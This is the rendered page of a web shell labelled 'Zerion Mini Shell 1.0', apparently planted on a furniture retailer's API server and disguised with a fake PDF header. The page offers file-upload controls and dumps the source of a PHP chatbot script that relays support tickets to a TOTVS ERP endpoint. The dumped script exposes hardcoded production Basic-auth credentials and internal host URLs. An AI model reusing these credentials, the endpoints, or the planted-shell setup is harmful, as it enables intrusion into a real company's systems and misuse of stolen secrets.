%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/komfo908/api.komforthousesofas.com/
Upload File :
Create Path :
Current File : /home/komfo908/api.komforthousesofas.com/chatBotChamadoObservacao.php

<?php

// Verifica se a requisição é do tipo POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {

    // Captura o corpo da requisição recebida
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);

    // Verifica se os parâmetros obrigatórios existem
    if (isset($data['chamado'])) {

        // Monta o JSON para enviar para a TOTVS
        $payload = json_encode([
            'chamado' => $data['chamado']
        ]);

        // Inicializa o cURL
        $ch = curl_init();

        // URL base de Produção
        $url = "https://komforthouse134929.protheus.cloudtotvs.com.br:4050/rest/kmh/chatbot/chamadosSac/observacao/";
		
		//Url Base de desenvolvimento
		//$url = "https://komforthouse134931.protheus.cloudtotvs.com.br:1510/rest/kmh/chatbot/chamadosSac/observacao/";

        // Configura as opções do cURL para POST
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $payload, // Envia o JSON recebido
            CURLOPT_HTTPHEADER => [
                'Authorization: Basic ' . base64_encode('altervision:@TO1q2w3e4r'),
                'Content-Type: application/json'
            ]
        ]);

        // Executa a requisição
        $resultado = curl_exec($ch);

        if ($resultado === false) {
            // Se houver erro na requisição
            header('Content-Type: application/json');
            echo json_encode(['error' => 'Erro na conexão: ' . curl_error($ch)]);
        } else {
            // Tenta decodificar o JSON recebido
            $JsResult = json_decode($resultado);

            if (json_last_error() !== JSON_ERROR_NONE) {
                header('Content-Type: application/json');
                echo json_encode(['error' => 'Resposta da API não é um JSON válido.']);
            } else {
                // Retorna o JSON para quem chamou seu PHP
                header('Content-Type: application/json');
                echo json_encode($JsResult);
            }
        }

        // Fecha o cURL
        curl_close($ch);

    } else {
        // Parâmetros obrigatórios ausentes
        header('Content-Type: application/json');
        echo json_encode(['error' => 'Parâmetro "chamado" é obrigatório.']);
    }

} else {
    // Método não permitido
    header('Content-Type: application/json');
    echo json_encode(['error' => 'Método não permitido. Use POST.']);
}

Zerion Mini Shell 1.0